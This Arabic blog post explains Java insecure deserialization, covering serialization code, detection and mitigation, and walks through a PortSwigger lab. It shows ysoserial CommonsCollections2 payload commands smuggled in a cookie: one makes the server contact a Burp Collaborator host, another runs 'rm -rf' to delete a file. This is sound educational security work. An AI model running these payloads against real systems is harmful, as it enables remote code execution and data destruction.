استغلال ثغرة Insecure Deserialization

وليد الهاجري
19/03/2022


مقدمة
سأحاول شرح أحد أهم عشرة مخاطر لـOWASP في الويب، وهي ثغرة الـInsecure deserialization من منظور اختبار الاختراق (penetration testing)، بدءًا من كيفية الـ serialization ثم deserialization لأي object،ثم تحليل الثغرة بإستخدام طريقة الـblackbox & الـwhitebox
ثم إستعراض تأثيرها وكيفية معالجة الثغرة وأخيرًا تطبيق المفاهيم والطرق المشروحة لتوضيح كيف يمكن لأحد استغلال هذه الثغرة في التطبيقات.

الـdeserialization هو عكس الـserialization ، وهو نقل الـobject من الذاكرة(RAM) وحفظه كملف على الـhard disk ويمكن نقله عبر الشبكة أو حفظه لاستخدامه لاحقًا.

لنفترض أن أحد التطبيقات يقوم بالـdeserialization لـobject يستطيع المستخدم التحكم فيه وهذا يمكن أن يسبب مشكلة عالية الخطورة. في هذه الحالة ، يمكن للمستخدم ببساطة إرسال payload ضار قد يؤدي هذا الهجوم إلى تنفيذ أوامر عن بُعد، وهو أحد أخطر الهجمات الممكنة.

Serialization & Deserialization using Java
سأشرح هنا كيفية الـserialization & deserialization لـobject في الـJava ، وسيكون المفهوم مشابهًا في اللغات الأخرى أيضًا.

Serializing an Object
يمكنك ببساطة عمل serialize لـobject عن طريق القيام بالتالي، إنشاء object من الـStudent class
public class Student implements java.io.Serializable {
public String name;
public String major;
public int ID;
public transient double GPA;

public void info() {
System.out.println(name + " is studying " + major + "
with a GPA of " + GPA);
      }
}
ضع في اعتبارك أنه لتتمكن من إجراء serialization لـobject ، يجب أن تفي بالمتطلبات التالية
1 - يجب للـclass أن يستعمل java.io.Serializable كما في الـcode أعلاه.
2 - يجب على جميع المتغيرات في الـclass أن تكون serializable. أما إذا وجد متغير لاتريده أن يكون serializable، يجب وضع علامة transient عليه كما هو الحال مع المتغير(variable) التالي GPA.

الان دعونا ننشئ الـserialization code كما يلي
import java.io.*;
public class Serialization {
       public static void main(String [] args) {
       //Creating a student object and assign value to it
       Student student = new Student();
       student.name = "Waleed";
       student.major = "Software engineer";
       student.ID = 434123456;
       student.GPA = 3.89;
       //Serialize the student object and writing it to a file
       try {
              FileOutputStream fileOut = new FileOutputStream("./files/student.ser");
              ObjectOutputStream out = new ObjectOutputStream(fileOut);
              out.writeObject(student);
              out.close();
              fileOut.close();
              System.out.printf("Serialized data is saved in ./files/student.ser");
       } catch (IOException i) {
              i.printStackTrace();
       }
     }
}
بعد تشغيل الـcode ، يتم إجراء الـserialization على object الـStudent وكتابته في ملف
Deserializing an Object
الآن للقيام بالـdeserialization لـobject الـstudent علينا عمل التالي
import java.io.*;


public class Deserialization {
   public static void main(final String [] args) {
      Student student = null;
      //now we will read the serialized object from the file
      try {
         final FileInputStream fileIn = new FileInputStream("./files/student.ser");
         final ObjectInputStream in = new ObjectInputStream(fileIn);
         student = (Student) in.readObject();
         in.close();
         fileIn.close();
      } catch (final IOException i) {
         i.printStackTrace();
         return;
      } catch (final ClassNotFoundException c) {
         System.out.println("Student class not found");
         c.printStackTrace();
         return;
      }
      //now printing the values of deserialized object
      System.out.println("Deserialized Student...");
      System.out.println("Name: " + student.name);
      System.out.println("Major: " + student.major);
      System.out.println("ID: " + student.ID);
      System.out.println("GPA: " + student.GPA);
   }
}
بعد تشغيل code الـdeserialzation أعلاه ، سيقرأ البرنامج ملف الـobject الذي تم عمل الـserialization له ثم يقرأ محتواه
لكن لاحظ أن قيمة الـGPA هي صفر لأنه تم وضع علامة الـtransient عليها ولم يتم أخذ القيمة الفعلية خلال عملية الـserialization

التعرف على Serialized Object
سأحاول أدناه تسليط الضوء على هذا الموضوع من منظور إختبار الـwhitebox & الـblackbox.


بطريقة الـwhitebox

إذا كان بإمكانك البحث في الـsource code ، فبإمكانك البحث داخل المشروع عن أي مدخل يتحكم فيه المستخدم ويتم تسليمها إلى أحد الـJava API التالية بحثًا عن ثغرة محتملة للـinsecure deserialization:
  • Serializable
  • XMLdecoder
  • XStream from XML method (XStream version <= v1.46 is vulnerable to the serialization issue)
  • ObjectInputStream with readObject
  • Uses of readObject, readObjectNodData, readResolve or readExternal
  • ObjectInputStream.readUnshared

على سبيل المثال، يمكنك البحث عنها باستخدام الأمر التالي
grep -r "ObjectInputStream" ./*
أو باستخدام الأداة التالية Gadget Inspector لتحليل الـsource code عن طريق الـstatic analysis.

بطريقة الـblackbox
إذا قمت بالتقاط(intercepted) أي بيانات بالأنماط التالية، فقد يشير ذلك إلى serialization stream في الـJava.

HEX
لنفترض أنك بطريقة ما حملت أو التقطت(intercepted) ملفًا من تطبيق ويب يبدأ بصيغة الـhex التالية "aced" وهذا بالأرجح يدل أنه Java object لكنه serialized مثل الصورة أدناه
xxd student.ser
هذه هي القيمة الـhex لملف serialized
يمكن فعل الشيء نفسه إذا التقطت serialized traffic
دعونا الآن نرسل قيمة الـcookie لتحويلها من base64 إلى قيمتها الأصلية
والآن إذا تحققنا من الجزء الذي تم فك ترميزه(decoded) في نهاية الصورة أدناه، فسيبدأ بالـmagic byte للـserialized Java object
Base64
تبدأ صيغة الـBase64 لـserialized Java object بـ"rO0" مثل الصورة التالية
يمكن رؤية الشيء نفسه إذا قمت بالتقاط البيانات عن طريق الـproxy
HTTP Header
يمكنك أيضًا التحقق من قيمة الـHTTP header التالي "Content-type" الموجود في الرد القادم من الـweb server إذا كان قيمته كالتالي: application/x-java-serialized-object ، فقد يشير إلى أن هذا serialized object

تأثير الثغرة
الآن بما أننا نعرف كيفية إجراء serialization & deserialization لـobject ، فما الضرر الذي يمكن أن يسببه لنا هذا الخاصية، عمل الـdeserialization بدون التحقق من القيمة المدخلة قد تؤدي إلى الكثير من الثغرات الخطيرة مثل privilege escalation أو arbitrary file access أو هجمات denial-of-service ، وعادة ما تؤدي هذه الثغرة إلى تنفيذ الأوامر عن بعد (Remote Code Execution).

حل للثغرة
ضع في اعتبارك أنه لا يوجد "حل سحري" يمكن أن يمنع هجمات الـinsecure deserialization. من الأفضل تجنب أخذ أي مدخلات serialized من المستخدمين أو مصادر غير موثوق بها وعمل deserialization عليها، ولكن إذا كان الـdeserialization أمرًا ضروريًا ، فإن تنفيذ بعض الأساليب التالية يعد طريقة جيدة لتخفيف هجمات insecure deserialization في Java:

  • يجب أخذ logs خلال عملية الـdeserialization في حال كان هنالك فشل(exceptions)، مثل عندما لا يكون النوع القادم هو النوع المتوقع، أو أن علمية الـdeserialization تظهر العديد من الـexceptions.
  • عزل وتشغيل الـcode التي تقوم بالـdeserialization في بيئة ذات صلاحيات منخفضة عندما يكون ذلك ممكنًا.
  • إذا كان ذلك ممكنًا ، فلا تسمح إلا بأنواع البيانات الأولية(primitive data types) مثل byte, short, int, long, float, double, boolean, and char.
  • داخل الـcode الخاص بك ، قم بعمل override للـObjectInputStream.resolveClass لمنع الـdeserialization بشكل عشوائي ويمكن ذلك عن طريق تغليف(wrap) هذا الطريقة من خلال مكتبة مثل الـSerialKiller.
  • تقييد أو مراقبة اتصال الشبكة الواردة والصادرة من الcontainers أو الـweb server التي تقوم بالـdeserialization.

إستغلال ثغرة الـInsecure Deserialization
هنا، سأوضح كيفية استغلال هذه الثغرة من خلال القيام بحل هذا الـlab من أكاديمية Port-swigger. لكن أولاً ، دعنا نتعرف على ماهي الـgadgets ولماذا نحتاج إليها.


ماهي الـgadgets؟
gadgets هي عبارة عن code موجود داخل التطبيق. يستخدمه المهاجمون لتحقيق أهدافهم، ولكن يمكن للـgadget بمفردها أن لا تفعل أي شيء ضار بإدخالات المستخدم(user inputs). ومع ذلك ، يمكن للمهاجم تمرير قيمة الإدخال إلى gadget خطيرة من خلال ربط عدة gadgets معًا. لكن تحديد سلسلة من الـgadgets يدويًا يتطلب الوصول إلى الـsource code ويمكن أن يكون أيضًا مهمة صعبة تستهلك الكثير من الوقت والجهد؛ لحسن الحظ ، هناك بعض الأدوات لأتمتة عملية البحث عن الـgadgets مثل gadgetinspector ، وهناك أيضًا أدوات مثل ysoserial تحتوي على مجموعة من الـgadgets المكتشفة مسبقًا والتي تم اختبارها واستغلالها بنجاح على مواقع ويب أخرى.

تطبيق عملي لاستغلال الثغرة
الهدف من هذا المعمل هو حذف ملف من الـserver ، كما هو موضح في الصورة أدناه
بعد بدء المعمل وتسجيل الدخول إلى النظام باستخدام بيانات الدخول المقدمة مسبقًا
إذا اعترضنا طلب تسجيل الدخول باستخدام Burpsuite أو أي HTTP proxy
ثم اعترض رد الـserver بالقيام بما يلي
يتم تعيين cookie الذي تشبه serialized Java object تم ترميزها (encode) باستخدام الـbase64 ثم باستخدام ترميز(encode) الـURL، ونحن نعرف ذلك لأنه يبدأ بـ "rO0A" كما هو موضح في سيناريو قسم الـblackbox.
أيضًا ، يمكننا التحقق مرة أخرى من خلال فك ترميزها
يمكننا أن نرى في الجزء الذي تم فك ترميزه(decoded) أنه يشبه compiled Java code. الآن يمكننا التحقق مما إذا كانت عرضة لثغرة الـinsecure deserialization؛ لنبدأ بإنشاء الـpayload باستخدام أداة الـYsoserial. لكن أولاً، لنقم بتنزيل ysoserial باستخدام الأمر التالي
Wget https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar
نظرًا لأننا لا نعرف الـgadgets التي ستعمل، فنحن بحاجة إلى أن نتأكد أننا الـgadget تعمل بتنفيذ أمر بسيط قبل إنشاء الـpayload للحصول على قدرة تنفيذ الأوامرعن بُعد (Remote Code Execution). لنبدأ بإعداد Burp collaborator وهو server موجود على الانترنت للتأكد من بعض أنواع الهجمات بالقيام بما يلي
ثم نسخ العنوان(URL) للـcollaborator client
الآن بما أنه تم إعداد كل شيء ، فلنقم بإنشاء payload من شأنه اختبار إذا كان بإمكاننا جعل الـserver الضحية الاتصال بالـburp collaborator الخاص بنا، واستخدام gadget الموجودة بالأداة "CommonsCollections2" سبب إختيارنا لها لأنها أحدث إصدار من هذه المكتبة(library) في الأداة. أيضا، من أجل تشغيل الأمر، نحن بحاجة

  1. إنشاء serialized payload
  2. القيام بترميزه(encode) عن طريق الـbase64
  3. القيام بترميزه(encode) عن طريق الـURL
  4. لصق القيمة في خانة الـcookie
قمنا بعمل الخطوات السابقة لأن هذه هي الطريقة التي يتعامل بها تطبيق الويب
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections2 'ping -c 1 ne56sqoh77lwer2ly6cpoidy8pef24.burpcollaborator.net' | base64 -w 0
Java -jar = لتشغيل أداة ysoserial
CommonsCollections2 = هي الـgadget التي استخدمناها لتنفيذ الأوامر عن بعد
القيمة بين علامتي الاقتباس('') = الأمر الذي نريد تشغيله لاختبارإذا كان بإمكان الاتصال من server الضحية إلى burp collaborator الخاصة بنا لمرة واحدة فقط
علامة إعادة التوجيه(pipe) (|) = إرسال ناتج الجانب الأيسر كمدخل إلى الجانب الأيمن
base64 -w0 = ترميزها(encode) كـbase64 و -w0 لتعطيل الأسطر(line wrapping)
الآن دعنا ننسخ الـpayload وترميزه(encode) بإستخدام الـURL ثم نضعها في خانة الـcookie ونرسلها لمعرفة ما إذا كنا سنستقبل أمر الـping الذي أرسلناه من الـserver
الآن بعد إرسال الpayload ، حصلنا على اتصال من الـserver إلى burp collaborator الخاصة بنا
مما يعني أنه يمكننا تشغيل الأوامر على الـserver. لنحذف الان ملف المستخدم كارلوس لإكمال هدف هذا المعمل(lab) بكتابة الأمر التالي
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections2 'rm -rf /home/carlos/morale.txt' | base64 -w 0
الآن دعنا نستخدم ترميز(encode) الـURL عليه ثم نرسله
وبهذا استطعنا حذف الملف ونكون أتممنا التحدي
خاتمة
تعد ثغرة الـinsecure deserialization مشكلة خطيرة ، وأحد أهم عشرة مخاطر لـOWASP تم تقديمها أولاً في نسخة 2017 وأيضًا مازالت موجودة في نسخة 2021. لذلك من الضروري التحقق من كل مدخلات التي تؤخذ من مصادر غير موثوق بها وأيضا يجب تثقيف وتدريب المبرمجين حول هذه الثغرات الخطيرة.

لمشاركة هذه المدونة
تابعنا
طور مهاراتك من خلال متابعة آخر منشورات فريقنا
مدونات آخرى